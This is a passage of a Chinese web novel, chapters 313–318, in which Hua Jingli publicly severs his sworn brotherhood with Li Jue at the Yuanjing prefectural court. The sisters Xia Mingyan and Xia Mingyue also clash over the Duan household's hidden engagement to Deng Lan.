“这会儿说跟你们没关系了,就算是你们身边的人做的,你们之前就毫不知情?就算你们不知道,若你跟我兄长的关系真的有那么好,他府上碰上这么大的事儿了,你身为他的义弟,为何一句问候都没有?” “用人朝前,不用人朝后,看我兄长安排我去北疆,你也想去,结果还舍不下御青书院这边,你既要实惠,又想出风头,你这种人的补偿我要不起!” 华靖和说完,还故意像牛喷气一样地哼了一声,他这番话说得唾沫星子飞溅,直接喷了李玦一脸,偏偏李玦还不敢躲。 夏明月见状又不免心疼李玦,况且火已经引到她身上了,她也不得不说点什么。 最近被楚氏劝的,夏明月也想试试以退为进、以柔克刚地招数,她看了李玦一样,像是想让李玦记住她这会儿委屈求全都是为了他,然后走到夏明嫣身边: “长姐,误会既然已经都说清楚了,要不就算了吧?这事儿说起来姐夫这儿也是麻烦,这外头的人还传这孩子是他的呢,这不是也得我们配合着帮他澄清么?” “姐夫和我夫君从前是义兄弟,现在还是连襟了,咱们这几家人理应互相照应才是,断断不应该为了一个贱妇就坏了交情了。” 她压低了声音,带着些服软的意味却也暗含着威胁地道,“要是你能劝得姐夫息事宁人,我回去之后定当好好跟父亲、母亲说,就说这一次你可帮了我的大忙了。见我们姐妹之间如此和美,他们一定会高兴的。” “我婆母她是有错,可那毕竟是我婆母,是我夫君的亲生母亲,要是闹得太下不来台了,咱们两家以后还真能老死不相往来了?” “时候也不早了,你们现在回去还能在府里吃晌午饭,你们就先回去吧,这边由着我们跟张大人说。” 有华靖离在这儿看着,就是他们想劝张礼岁轻判也难,只要他们回去了,区区一个吕家,还能翻出天去不成? 为了一个商贾之女和一个上不得台面的小崽子,还有一个说话无礼至极还出身卑贱的庶子,他们把面子找回来就完了,真不至于在这儿盯着张礼岁把案子判了再走。 要说李玦和夏明月的脸皮也真是比城墙都厚,李玦找说书匠那事儿华靖离之前就知道,可是从来没有点破过,因为那些人除了宣扬他跟李玦的关系有多好,倒也暂时没有诋毁他什么。他若是一力追究,难免显得他这个人斤斤计较、上纲上线。 可是刚刚华靖和都已经把这件事说破了,夏明月居然还有脸过来求情,这分明是吃准了能拿捏住她啊。 夏明月手里没有她的把柄,有的就是情面和情分,可这两种东西,看不破的时候,它们实在了不得,就像两座大山一样。 可是一旦看破了,那么,它们连屁也不是! 夏明嫣假意点了下头,先把手从夏明月手里抽出来,她先去问吕冠瑛:“吕二姑娘,不知之后的事,你可还需要我们在场?” “这件事说到底我们这阿弟和华家只是名声受损,并未伤及性命,反倒是你阿姐的性命,才是最重要的。你若是觉得我们在这儿多余,我们走就是了。” 从案子上说的确如此,吕家才是最大的苦主,可是吕家就是二老健在的时候尚且无法和端侯府抗衡,更何况是现在。 吕冠瑛哪里不明白这个道理,她冷笑着看着端侯府那边的三个人:“要是这只是我们吕家的事,你们方才又才会绕过吕家和民女,单独要跟华家人商议?” “民女愿意让华侯和夫人在场做个见证,还民女的阿姐和外甥一个公道。” 第313章割袍断义 夏明月轻蔑地看着吕冠瑛道:“吕二姑娘,我们已经答应了认你外甥回去,你也该见好就收了。虽说婆母这么做有违律例,可是像我们这样的人家,有几个会容这样出身的孩子进门的?” “就算我婆母不派人去,她为了孩子能有个好前程,本来自己也不打算活了。我婆母可没骗她,她死了,就把孩子接走,只不过是接走了之后没安排好罢了,人是认下了的,你还有什么不满意的?” 从头到尾,夏明月和何夫人都没有把吕大姑娘的命放在眼里,只要他们认了这孩子了,也不管这孩子将来怎样,只要认下了,那别说只要了吕大姑娘一个人的命,就是要了他们全家的,对他们都是恩赐了。 吕冠瑛隐忍到了极点,对着夏明月就道:“若不是为了一纸良籍,你以为我们稀罕跟你们侯府扯上关系吗?我们家孩子没这个福分。” “吕家的孩子也不必你们养,只要换了籍了,用不着你们养!交给你们养,谁知道养成什么样,但是我阿姐的命必须有个交代!” 吕冠瑛并非不想让这孩子做侯府的子嗣,可要是何夫人在,她就是害死了孩子娘亲的人,她又怎么会对孩子好呢? 比起夏明月,对孩子真正危险的反而是何夫人。 因为夏明月最多漠视这孩子,用一些手段让这孩子吃些苦头,这样的苦对于他们吕家这样出身的人家的孩子来说不算什么,熬一熬就过去了。 这个孩子的存在意味着何夫人和李玦对她有亏欠,她一定会留着这个孩子,时刻提醒着李玦和何夫人是他们对不起她。 可何夫人就不一样了,现在所有人知道是她害死了吕大姑娘,也包括了这个孩子,她还留着视她为仇人的孩子么? 李玦还年轻,有妻有妾的,将来孩子少不了,何夫人就算还要利用孩子跟夏明月对着干,也一定会去扶持别的孩子。 不管是为了给吕大姑娘伸张正义也好,还是让这个孩子平安长大也罢,何夫人就算不去偿命,也绝不都能让她好好地当她的侯夫人了! 不过,就算是夏明月也是想除掉侯夫人的,她只是担心由着华家人闹下去,会连带着李玦和整个端侯府都被牵连。 她要扳倒何夫人,前提得是她自己还能成为下一任的端侯夫人,她这才顺着李玦的话为何夫人求情,想让华靖离和夏明嫣走的。 夏明月想的是等他们走了,她和李玦好跟张礼岁谈出个折中的法子来,把这件事的影响控制到最低,到时候李玦为了能不被波及到,也一定会答应她的要求。 夏明月瞪了吕冠瑛一眼,依然没有把她放在眼里,还是来劝夏明嫣: “长姐,我婆母身上的罪有两重,一重在吕家人身上,另一重则是她冤枉了华二公子上,你们要是说算了,她身上不也少了一重罪么?” “以后咱们两家还是要走动的,没有必要弄得这么难堪吧?你就跟姐夫好好说说,将来你这儿有需要帮忙的地方,做妹妹的也义不容辞。” “从前我们姐妹之间吵吵闹闹的,那是因为咱们从小没在一处长大,彼此之间太生疏了些,以后都不会会了……” 夏明嫣笑了一下,未置可否,转而看向华靖离,等着他表态。 她还得在夏家人面前装一装的,要是她一上来就直接说不行,就彻底在夏家人面前露相了。 何况今日是华靖离来跟李玦撕破脸的,不是她来找夏明月麻烦的,这种时候她不跟他抢。 华靖离看都没看李玦一眼,直接对张礼岁拱手道:“张大人,若是此案的元凶未得到惩处,难有人相信舍弟是被冤枉的,华家不愿不清不楚地担下这样的恶名。” “这一切究竟是怎么回事,起因如何、是谁在背后主使,大人心知肚明,还请大人还舍弟和华家一个清白。” 他这才转身对着李玦和夏明月道,“李玦,我与你虽自少年时便相识,可你先是用那市井手段故意夸大、宣扬你我的关系,再是放任妻族陷害家弟,如今你的母亲做到这样的事也还在利用你的妻子说服我们放你一马。” “你这样做不仅影响到了我的声誉,也影响到了华家。况且你躲在一介女流身后行事,此等做法我实难苟同。这件事涉及人命和子嗣、德行,你明知真相还妄图利用流言试图将自家的错处引到我和华家身上。” “你自诩无辜,似乎自己什么都没有做错,错的都是别人。可这桩桩件件哪件不是因为你,又有哪件不是你故意放任的?这些事与你自己做的无异,只是你比别人更加聪明罢了。” “从前我并非全然看不到你做的这些龌龊事,只是我念着与你多年的交情,念着两家都为大恒军侯之义,又不曾涉及大事,这才一直隐忍未说。” “如今想来,你我结义不过是年少时的一时冲动,是我识人不清,你我之间也实难算得上性情相投,甚至连相互信任都做不到,实在配不上‘义结金兰’四个字。” “今日在这元京府衙之上,还请张大人做个见证,我华靖离与李玦割袍断义,从此再不是义兄弟。吕家之事涉及人命,案件已于三个月前便报到了元京府,还请张大人秉公处理,断断不可让他人继续以华家为借口行事。” 李玦整个人都震惊了,夏明月也没有想到事情会发展成这样,他们现在终于明白为什么今日华靖离会在这里纠缠这么久了。 李玦感到震惊,是因为他一直觉得自己把华靖离吃得死死的,华靖离身边很少有他这样的人,一直以来他都完美地顶替了华靖和在他身边应有的位子。 而且这回的事,他也的确冤枉,就算他放任了自己的妻子和母亲,在他看来也不是了不得的大事。 夏明月替他运作书院擢选,利用华靖和给他抬轿子,这事儿做得不大气,可哪家哪户完全没有这样的事?不过是对方一个不亲近的庶弟,踩上几脚也就踩了。 第314章他们不想断 况且华靖离最终并没有被冤枉,连所谓的牢狱之苦也不过是在府衙的班房里住了几日,又没有大的损伤。 而何夫人做的这些他就更冤枉了,要是他早知道这件事,他根本就不会这般处置,他昨晚才知道事情的来龙去脉,要说放任,他最多就是放任了一个晚上而已。 李玦大叫冤枉:“义兄,我愿发誓,此事我事先真不知情。从前之事,我确有不对,只是也并非出自本意。我在那些说书匠中有相熟之人,只是年少时夸口多说了几句,谁知道会被他们编成了话本子传扬。” “就算我说的话夸大了一些,可那也是因为仰慕义兄的品行和战功,并无旁的意思。后来那些话本子被传扬开来,再有夸大不实之处,也并非我和那些说书匠能控制的了。” “无论如何,这些都是我的错,我愿意认下这些错,并为义兄澄清。只是义兄千万不要因此怪罪我到了要割袍断义的地步,我着实冤枉,也不想断了跟兄长的情义。” 他转身又对着夏明嫣行礼,“嫂嫂,姨姐,也请你帮我说说话,我与义兄如今还有连襟之谊,要是今日义兄不认我这个阿弟了,我自是无地自容,以后这一家人之间也不知该如何相处了。” “义兄怪我是应该的,我愿任由义兄责罚,嫂嫂就帮我美言几句吧,这样也好不让明月为难。” 夏明月这会儿也正蒙着呢,她吃惊的原因自然跟李玦不一样,她有着上一世的记忆,上一世的李玦和华靖离关系莫逆,还维系到了最后。 当然,夏明月很早就知道那是华靖离单方面对李玦这样的,李玦骗了华靖离很久,她一直觉得这是李玦最大的本事之一。 这辈子怎么就变了?就像李玦说的,都不是什么大事,后面这件能怪上李玦的还真不多,怎么就变成这样了? 要说是夏明嫣挑唆的,也不对,夏明嫣又没重生,李玦对华靖离来说至少眼下看不出大的害处,她是疯了才会一进门就挑唆人家义兄弟的感情。 而且华靖离之前重伤,夏明嫣的全副精力都放在了照料华靖离上,还托了杨家人情名医来诊治,她哪儿有那些工夫去干这种事。 那么只有一种可能了,就是其实上一世华靖离也早早地就对李玦不满了,早就想要割袍断义了断这段关系,可是苦于前头没有一个李玦明显对不起他和华家的机会。 上一世华靖和根本没搀和御青书院的事儿,自然没有这一劫,也没有吕家母子、姨甥这桩案子,华家也自然没有受到影响,这就让华靖离根本没有机会可抓。 可是这个机会是怎么来的呢? 从华靖和的角度来说,大概是华靖离这一世康复得情况比上一世好,至少表面上看是这样的,他还与夏明嫣相处和睦,夏明嫣甚至还松了口要为他多纳几房妾室。如此以来,眼看着就要不愁子嗣了。 这下子最着急的应该是卜小娘,因为即便按照华家的规矩,即便华靖离有自己的孩子,华靖和也能分得一半的家业,可是华靖离毕竟不是华叶峰,华叶峰只会屯田,那点战功是圣上给他脸上贴金,刻意放在他头上的。 华靖离战功赫赫,夏明嫣眼看着又会成为打理华家内宅和庶务的一把好手,明里暗里一操作,最终实际落到华靖和身上的家业一定不会多。 因此卜小娘急了,她想让华靖和能有个功名,最好再有高人扶持。 可惜华靖和从前在举业上并不用心,卜小娘又因为以为他早晚能继承华家并没有逼迫于他,现在什么都耽误了,要想奋起直追、青云直上,唯一的捷径就是进入御青书院。 而李玦这边,影响最大的就是她了,要不是她张罗着李玦也去考御青书院,还请了两位舅父帮忙运作,李玦这时候应该已经去北疆了,根本跟这事儿扯不上关系。 因为何夫人之所以能够注意到吕大姑娘是因为跟着的人在他去绸缎铺子时认出了吕大姑娘,要是李玦去了北疆,就算何夫人还能发现吕大姑娘母子的存在,这事儿也跟李玦扯不上关系。 说到底,这件事还是夏明嫣帮忙“治好”了华靖离和她帮了李玦一把造成的…… 夏明月从来都不喜欢华靖离这个人,要不是华靖离还有利用价值,她早就要反对李玦跟他做什么结义兄弟了。 可是她不喜欢华靖离跟他们走得近,并不意味着她能接受华靖离突然就跟李玦恩断义绝,这要是传出去了,天下人定是要说这错在李玦这边的! 李玦顶着一张无害而俊朗的脸,又温文尔雅的,平日里瞧着是比华靖离更受欢迎,可是要说在大事儿上,人们一定更相信华靖离! 这一点,纵使夏明月厌恶华靖离,她也不得不承认。 要是这件事真成了,传到宫里去,就算不影响李玦袭爵,他在圣上和满朝文武面前的风评也不会好的。要想弥补这种名声和品行上的损失,至少要多花几年的时间。 就算华靖离想要割袍断义,也不该在这里,等这件事过去了,他爱怎么断就怎么断,再慢慢地把这件事透露出去,给世人一个接受的时间,也就不会有多大的事儿了。 这世上无论怎样的关系和情感都有慢慢淡化的可能,甚至大多数的关系和情感最后都会淡化,可要是这淡化的过程十分短暂,结果来得特别突然,那就定然是发生了什么大事了。 那样的话,确切的说,就是他们割袍断义的结果就被某件重要的事标记下来了,以后人们谈到他们割袍断义,就会想到那件事,然后说理亏的一方不行! 夏明嫣一想到这件事还会连累到她自己,忍住了对着夏明嫣翻白眼的冲动,硬是挤出了几滴泪来: “长姐,你看看他们,一点都不顾我们的感受。在公堂之上割袍断义,这让我们这些女子该怎么办?以后就是在筵席上碰见,都是要尴尬的。” “与其由着那些三姑六婆、长舌妇指指点点,我都想从此闭门不出了。长姐,你劝劝姐夫,好不好?” 第315章两姓不好 夏明月从来都不喜欢华靖离这个人,要不是华靖离还有利用价值,她早就要反对李玦跟他做什么结义兄弟了。 可是她不喜欢华靖离跟他们走得近,并不意味着她能接受华靖离突然就跟李玦恩断义绝,这要是传出去了,天下人定是要说这错在李玦这边的! 李玦顶着一张无害而俊朗的脸,又温文尔雅的,平日里瞧着是比华靖离更受欢迎,可是要说在大事儿上,人们一定更相信华靖离! 这一点,纵使夏明月厌恶华靖离,她也不得不承认。 要是这件事真成了,传到宫里去,就算不影响李玦袭爵,他在圣上和满朝文武面前的风评也不会好的。要想弥补这种名声和品行上的损失,至少要多花几年的时间。 就算华靖离想要割袍断义,也不该在这里,等这件事过去了,他爱怎么断就怎么断,再慢慢地把这件事透露出去,给世人一个接受的时间,也就不会有多大的事儿了。 这世上无论怎样的关系和情感都有慢慢淡化的可能,甚至大多数的关系和情感最后都会淡化,可要是这淡化的过程十分短暂,结果来得特别突然,那就定然是发生了什么大事了。 那样的话,确切的说,就是他们割袍断义的结果就被某件重要的事标记下来了,以后人们谈到他们割袍断义,就会想到那件事,然后说理亏的一方不行! 夏明嫣一想到这件事还会连累到她自己,忍住了对着夏明嫣翻白眼的冲动,硬是挤出了几滴泪来: “长姐,你看看他们,一点都不顾我们的感受。在公堂之上割袍断义,这让我们这些女子该怎么办?以后就是在筵席上碰见,都是要尴尬的。” “与其由着那些三姑六婆、长舌妇指指点点,我都想从此闭门不出了。长姐,你劝劝姐夫,好不好?” 尽管夏明月着急得很,也没忘记要挟夏明嫣:“长姐,今天这件事来得突然,大家都不冷静,不如他们兄弟之间的事儿也不适合在这公堂上说。” “要不就让他们都冷静冷静,之后再说?要是华侯冷静下来,依然坚持,我们也就死心了,到时候绝不会有二话。” “要是他们今日就在这里割袍断义了,回去之后父亲、母亲也定然会怨你不加劝阻。我们都是一家人,你也不愿意这样,对不对?我的好长姐,你就劝劝姐夫吧。” 夏明月不犯浑的时候,尤其是她认真求你的时候,是很能打动人的,就连旁边的张礼岁和吕冠瑛都觉得夏明嫣会开口劝华靖离了。 夏明嫣却将自己的胳膊从夏明月怀里抽了出来,还把她推离了自己两步远: “二妹妹似乎忘了昨日我劝你的话,你说我们都是一家人,你我都姓夏,这一家人自然指的是夏家。可是你口口声声帮着的都是你的夫家,甚至可以因此枉顾人命和大义,简直到了色令智昏的地步。” “我若是听了你的,为了跟父亲、母亲的亲情就枉顾大义,岂不是也成了一个不明事理的昏聩之人?你们若是逼我如此,那便是不把我当人看,那我也不必顾着跟你们之间的情分了。” “你们若是顾着我,不让我太为难,咱们再论父女、母女、姊妹亲情不迟。况且,这里面还有些你不知道的缘故。” “若是别人家倒也罢了,偏偏是端侯府,我着实不好开这个口,也没脸开这个口……我劝你也不要再为他们说话了,再说下去,连你也会没脸的。” 夏明月听得完全摸不着头脑,夏明嫣一向好说话,怎么就说端侯府这边她不好开口,这辈子她跟端侯府明明没有任何过节,怎么就至于如此了? 夏明月看向李玦和何夫人,被他们这对儿母子闹得,她都迷糊了,总在怀疑这两个人是不是背着她又干了什么。 李玦也不大清楚夏明嫣指的究竟是哪一件事,只能态度恭敬地问道: “不知嫂嫂为何这么说?可是有什么事儿我们得罪了嫂嫂?还望嫂嫂明示,我实在不知究竟何事做得不对了,惹了嫂嫂和义兄不快。” 夏明嫣冷眼看向何夫人,目光又落到李玦身上,这人还真是一如既往地会装风光霁月: “既然如此,那我就明说了。两家结亲,结的是两姓之好,关键在于一个‘好’字,要是都不好了,也就没有结亲的意义。” “明月,我问你,你自诩与李世子情深意笃、青梅竹马,可你嫁进端侯府之后,可有感觉过被他珍之重之的珍重过?” 夏明月心里咯噔一下,她当然感觉到被端侯府怠慢了,要不然也不会在她刚进门的时候就明着抬了何雨萍这个贵妾进门。 而且何雨萍进门以后虽说借着侯府贵妾的名义,主要精力都放在打理何家的事儿上了,跟李玦最大的交集也就是李玦可能要用上何家的人,他们凑在一起商量一下,再一起过个夜。 夏庸也是有妾室的人,她心里虽然难受,可要说忍不了,也还没到那种地步,她只是嘴上爱咋呼,心里还是分得清的。 可是何夫人一上来就摆出了要将中馈交给何雨萍打理的架势,这让她怎能甘心? 她把自己的不甘和担忧跟李玦说了,李玦却并没有替她出头的意思,反而安抚她,说舍不得她劳累,何夫人把中馈交给何雨萍也是好的,她省了心思下来,刚好把自己照顾好,早日为他个孩子。 还有何夫人、李姑母、何姨母那些个人轮番给她气受的时候,她也跟李玦说了,希望李玦能为她出头,震慑这些人,甚至把这几门亲戚赶出府去。 这些人实在太过分了,不仅对她的一举一动指手画脚,甚至还在何夫人的安排下都住在了他们院子周围。 他们住的院子虽然在侯府中间,可是地势上要低一些,那些人住的院子都是后来加盖了楼阁的,站在上面,居高临下得看下来,她每日在自己院子里做什么都看得一清二楚。 就算不把他们赶出去,让他们换一个地方住,总是可以的吧? 第316章这妾纳得好巧 夏明月一双眼睛都快能喷火了,一定是这个老妖妇,就是她针对自己,针对夏家! 何夫人当然对夏家和夏明嫣做过亏心事,但是她以为夏家人不知道,即便知道一些,也只是看出了一些端倪,就是有个影儿的事,根本不会有证据。 何夫人张了张嘴,镇定地道:“我在吕家的事上是有错,可是自问我和阿玦都没有对不起夏家过,华侯夫人可不要为了让华侯跟阿玦决裂,就乱说话。” “我们端侯府虽说落魄了,可也不能被人随意诋毁,尤其是在这种时候,这可是要彻底坏了阿玦和华侯的关系的。” 兄弟之间最忌讳的就是因为女人起嫌隙,尤其是这个女人主动挑拨,只要证明夏明嫣说的是假的,华靖离想就这么割袍断义就不可能了。 要是华靖离不收回刚才的话,那就说明他是一个会为了女人放弃兄弟的人,还是受了蒙骗和挑唆的,他本身的能力和品性也会受到质疑。 夏明嫣一点都没有被吓到,而是开始质问何夫人和李玦: “我从卢阳回元京时曾经与世子妹夫定下过亲事,我听说,二位对这桩婚事不满,却没有去夏家退婚,而是直接另外给妹夫定下了一桩亲事,还与对方写下了婚书。” “二位先别急着否认,你们说说遇上这样的事儿,真不想娶,退婚另娶就是了,反正我就是个卢阳回来的野丫头,家里也不会为了我就跟贵府坏了交情。” “可是你们怎么就偏偏打起了贬妻为妾的主意呢?还指望我不知道,想把我骗进去,你们怎就吃准了我们夏家知道了之后,不会跟你们撕破脸呢?” 事实就是上辈子两家的确没有撕破脸,为了过去的那桩事,夏庸还是让夏明嫣过去做妾了,可是这几个人都不知道夏明嫣重生了,她自然可以装作不知道这些。 这种时候,正常的女儿都会觉得自己的父亲会为她出头的,不这样以为才奇怪。 夏明月却知道事情后续的走向会是怎样的,她一开始心里还有些得意,要是换成了她,李玦根本就不可能停妻再娶、贬妻为妾。 可是夏明嫣陡然塞过来一句话,让她想得意一下也不敢表露出来了,“二妹妹,你别得意,你不会以为他们这么做是因为娶不到你,才那我泄愤的吧?” 李玦脸色有些不对了,可是这种时候他只能否认:“没有这样的事,嫂嫂不知从哪儿听来的谣言,这根本就是无稽之谈。” “那时我虽然以为自己娶不到明月,可我从来没有想过悔婚,更没有想过另娶他人还借此羞辱夏家。” “嫂嫂轻易听信他人谣言,还拿到公堂上说嘴,还请嫂嫂收回这些话,不要坏了两家的关系,也不要坏了我跟义兄的情分。” 何夫人当然也知道夏明嫣说的是事实,可是她能想到的就是府里有人走漏了风声,说了几句闲话出去。 这时候何夫人才想起之前给邓澜的婚书没有收回来,可是她稍微定了定神儿就确信起来。 邓父是个醉鬼,却粗中有细,把那么大的秘密藏了这么多年,硬是在朝廷的暗探面前都没有漏过。 邓澜就跟不必说了,那是个贤淑又精明的姑娘,又特别的孝顺,从小虽不至于是她亲自养大的,可衣食、教养皆在她的掌控之中。 邓澜少时便没了母亲,又本就是她的外甥女,如此以来也与亲母女不差什么了,就算夏明嫣怀疑到了邓澜头上,邓澜也绝对不会出卖她。 更何况李玦跟邓澜的婚事未成,邓澜将来总是要嫁人的,这件事传出去反而会影响她的名声。就算为了自己的将来,她也不会说出去,更不会告诉夏明嫣。 邓澜那时要占的可是夏明嫣的位子,这是险些就要有夺夫之恨的,这件事她跟谁说都不会跟夏明嫣说。 何夫人非常自信地道:“正是如此,华侯夫人如此说,也不知道是从哪儿听来的。你倒是说说,是谁对你说的?阿玦定下了别的亲事,这家人是谁?可能来此作证?” “你倒是说说,说不出来,你就得在张大面前向我们道歉。华侯,你也该多管管你这位新夫人,怎能容得她信口开河?” 华靖离叹了口气,冷笑了一下:“何夫人这是在教我如何教导夫人?其实这件事我也是知道的,只因最近发生了一件奇事。” “前些时日,我于酒肆之中宴客,出来时碰到一女子,与之甚是投缘。因为那日饮得多了些,发生了些……失礼之事。” 他看了夏明嫣一眼,这可都是按照跟她说好的说的,他煞有介事地继续道, “回去之后,我便与母亲和夫人商议,既然之前就已决定为我纳妾,不如就纳了那位姑娘吧。我夫人使人打听了一下,想那姑娘虽然门第破落,到底是好人家的女儿,我夫人便欲与我重礼相聘,谁知道因为这事儿知道了一件奇事。” “何夫人,李世子,你们就不问问此女子姓甚名谁么?不过,你们应该很清楚才对。” 何夫人和李玦身子都震了一下,他们大概猜到了,华靖离和夏明嫣别管是不是真的机缘巧合,这二人已经找到了邓澜。 可是即便是遇上了,要纳邓澜为妾,邓澜为了自己的前程,李玦这边又已经与夏明月完婚,她何苦要跟着二人坦白她跟李玦定过婚约呢? 何夫人用眼神暗示李玦稍安勿躁,她笑呵呵地道:“这……元京落魄了的好人家的姑娘又不止一人,我们哪儿知道是哪一位,这话你们可不能乱说。” “明月,你说说,要是阿玦当真还定过一门亲,你进门也有段时日了,总该听过的,你可曾听过一丝风言风语?” 夏明月微微摇头语气讥讽地道:“没有,我的确没听过。长姐,你跟姐夫该不会是想说,你们打算纳的那位女子刚巧就跟我夫君定过亲吧?” “这也太巧了吧?要是真定过这么一门亲事,那也得是配得上端侯府的门第才是,又怎会是落魄了的人家。” 第317章苍白而无力 夏明月是一个哪边对自己有利就站哪边的人,她之前还说端侯府的家底薄,她是低嫁呢,这会儿又说普通人家的女儿配不上李玦了。 其实像端侯府这样的破落户,在儿女婚事上,要么就是依从之前定下的婚约,要么就是娶那些门第较低但是人还不错、会持家的,像李玦这样的娶个品貌贤淑的破落户实在不足为奇。 夏明月也当然知道在她改嫁之前,李玦不仅扶正过夏明嫣,前头还娶过一个叫邓澜的,也是李玦的表妹。 可那不是在定了夏明嫣为妾之后,先定了何雨萍为正妻,之后何雨萍又病得很重,这才又在亲戚里找了这个邓澜来么? 她一直以为邓澜是后来找来凑数的,要不然又怎会让李玦娶那么一个病秧子? 因此这一世,夏明月反而对何雨萍的堤防最深,在得知何夫人并没有邀请邓氏父女住到府里来之后,她就没理会这么一个人了。 夏明嫣笑了笑:“这就难说了,有的人家娶妻,娶得是门当户对、人才般配,有人的人家娶妻,那是亲上加亲,娶的是一个婆媳和美。” “二妹妹,你觉得你婆母跟你投缘,还是跟你们府上的何小娘投缘?那时候他们要是打算对我悔婚了,你觉得哪个高门大户的人家肯得罪夏家还把自家女儿嫁给一个刚刚才停妻再娶的人?” “这种情况下,最好就是亲上加亲,找一个她瞧着顺眼、从前又有抚育之恩的,再说了,世子夫人身边不是已经有了一个表妹了么,再来一个又有什么新鲜的?” “不……不可能,夫君,你差点儿娶了何小娘,还有过婚书?好啊,我说怎么那么着急让她进门呢,原来你们都在骗我!” 夏明月会错了意,可她看着何夫人和李玦的反应,愈发地确信了自己的猜测。 她上去就要找李玦和何夫人理论,她舍不得打李玦,上前几步就对着何夫人的发髻抓了几把,很快就把何夫人抓得披头散发的, “你这个老虔婆,居然敢不经过我们夏家的允许就悔婚另娶?眼看着娶不了了,那边还定下了婚书,就趁着我回娘家抬她进门,你还要脸吗?我撕了你的脸。” 在场的大部分人都没想到夏明月会扑上去厮打何夫人,关键是在场的男人不好上手拦。 女人么,夏明嫣不想拦,她也没夏明月体力好,想拦也拦不住,只是假意拦几下。 吕冠瑛倒是拦得住的,可她凭什么要去拦?况且何夫人和夏明月都看不起她,她一个卑贱之人实在不该去碰这两位贵夫人。 夏明月跟头小牛犊似的,浑身都是劲儿,李玦去拉扯,都不是她的对手。 慢慢的,连张礼岁看李玦的眼神都变了,就这身手,连自己的媳妇都拉不住,还要去北疆? 张礼岁象征性地吆喝几声,夏明嫣装模作样地拦了几下,最后才道:“二妹妹,你冤枉何小娘了,不是她,是姓邓的,邓姑娘!” “什么,邓澜?” 夏明月停了下来,瞪大了眼睛看着形容狼狈的何夫人,她实在没控制住情绪,一句话脱口而出, “你这个老刁婆,两辈子都让我夫君娶她,你是有多喜欢她。你都这么喜欢她了,还跟夏家做什么亲!” 这还真是,李玦两辈子都跟邓澜定下了婚约,别的很多事儿都在变化,这件事却没有变。 夏明嫣、华靖离、何夫人、李玦都是知道这当中真正的原因的,当然是因为邓父身上关于那些东西的秘密了,这才是他们两家两世都试图联姻的真正原因。 只不过这一世没成,是因为何夫人和李玦觉得夏家的这层势力如果不通过联姻取得就利用不上了,而邓家这边还能缓一缓,凭着亲情和两家密切的关系先耗着,看以后怎么办。 要是这么下去的,邓澜过上一两年大概也会成为李玦的另一个贵妾,不出所料的话,将来端侯府的外头庶务、庶产会交由何雨萍打理,而内宅中馈定然就是邓澜的了。 这一左一右都是何夫人的外甥女、李玦的亲表妹,家里有再大的秘密,有她们两个镇着,都不会被夏明月得了去。但那样的话,夏明月可就被架空了。 夏明月一时间想不了这么仔细,可是大致的她是想得到的,这要是再来一个表妹,光李玦的妾室里就两个表妹了,府里还有栗羡鱼和白玉凤,他们一样都是李玦的表妹。 这一窝的表妹凑在椅子,纵使栗羡鱼和白玉凤嫁了别人了,以她们之间的关系,定是会经常回端侯府的,就算不能明着对府里的事儿指手画脚,也能给何雨萍和邓澜出谋划策。 不知道那些背后的事儿也没什么,仅仅是局限于内宅的认知,都已经快把夏明月逼疯了。 夏明月这时候在心里一个劲儿地骂人,她骂夏庸和楚氏,更要骂夏明嫣,怎么以前这些人就没有一个跟她说李玦的这些个表妹有多难吗? 她从来都不会去想,她既然自诩了解李玦,又怎么会想不到以端侯府这样的处境,这二十年来这些个亲族都是依偎在一起共渡难关、守望相助地过来的。 他们这些人之间的关系早就已经超越了一般的亲戚关系,那些个连护卫都被裁撤,夜里担心会要被盗匪劫杀、提心吊胆、夜不能寐的日子,都是这些个表妹的父兄拿着刀剑巡夜,而她们的母亲跟何夫人和年少的李玦一起看着书、坐着针线,熬到天明才敢各自回房睡下的。 夏明月自诩跟李玦情深意笃,不能说他们之间的感情是假的,可那样的感情在那般血肉相连、生死与共、相互扶持的感情和血脉面前是多么的苍白、无力,这么一比,就像小孩子过家家一样了。 端侯府大事未成,所有的一切都必须朝着那个目的行去,何夫人和李玦在大事上当然是要用最可靠的自己人了,那么这些个亲戚跟夏明月比,到底哪一个更可靠? 第318章没娶上贤妻 答案早就不言而喻了,事实上端侯府是一个比华家更难融入的群体。 要是前世夏明月一开始就嫁给了李玦,等待他们的不是磨砺之后的情比金坚,而是相看两厌的一拍两散。 夏明月眼泪汪汪地看着李玦,只是盛怒之下,她不仅没有察觉到自己说错话了,连此刻她眼底现出了血丝都不知道。 以往的夏明月眼泪汪汪的时候是娇艳、可爱的,这会儿却是凶悍甚至恨不得吃人骨头的! 同时她心底里又升起了一种试图让她整个人柔软下来的无力感,即便她提前知道了又如何,那时候华靖离重伤,她就肯嫁给华靖离了吗? 就算她能不在意,她也忍受不了华靖离和华家人,呵,让她和离,以为一副嫁妆就能打发她了么?要不是华靖离冷落她、从来都没碰过她,她又怎么会搭上孙允斌! 上一世因为在夏明嫣和沈小娘身上设局耽误了些时间,导致赐婚的圣旨先一步到了,让她不得不嫁给了华靖离! 可是华靖离都那样了,他们华家就不能主动抗旨拒婚么?为什么让他们夏家来拒,华靖离是从北疆回来的,他们夏家去拒婚,岂不是对朝廷的功臣不敬,谁又会去拒这个婚! 结果华家把她娶回去了,华靖离却不碰她,更是对她没有一点讨好的意思,最后还要她和离,要把她侯夫人的名分也夺走,凭什么! 夏明月这时候心里的无奈和恨都交集在了一起,虽然事实上她恨的不止是李玦和何夫人还有一大串的人,可是从她的眼神和她的目光所向来看,这一刻她简直恨死李玦了! 李玦先是看到何夫人被打,心疼得有那么几息工夫连呼吸都停滞了,这可是他的母亲,跟他血脉相连、相依为命的母亲,是含辛茹苦、一步步陪着他忍辱负重的母亲,就这样被夏明月打了! 邓澜的事李玦本来就毫无愧疚,那时候跟他定下婚约的是夏明嫣,他们要羞辱也是在羞辱夏明嫣,又不是她夏明月! 说是对夏家不尊重,的确有,可是当年夏家又对他们李家有多尊重? 还有这婚事上,一开始夏家只肯把夏明嫣嫁过来,还不是因为他们想用夏明月搭上华靖离,这样夏家、楚家就可以在暗中将他们手上势力的重心让渡到华家这边,逐渐跟他们端侯府脱钩? 要说对不起,那也是夏家先对不起端侯府的,她夏明月连这些都想不到吗? 要说以前,李玦还会觉得夏明月天真直率、没心眼儿,她很可能想不到这些算计,可是她自从进门之后也经历过一些事儿了,看得出来也不是一个全无手段的人,那她就不是真的想不到这些,而是装的! 李玦走过来的时候不自觉地往华靖离和夏明嫣那边看了一眼,他心里不知怎么的突然有了一种酸涩之感。 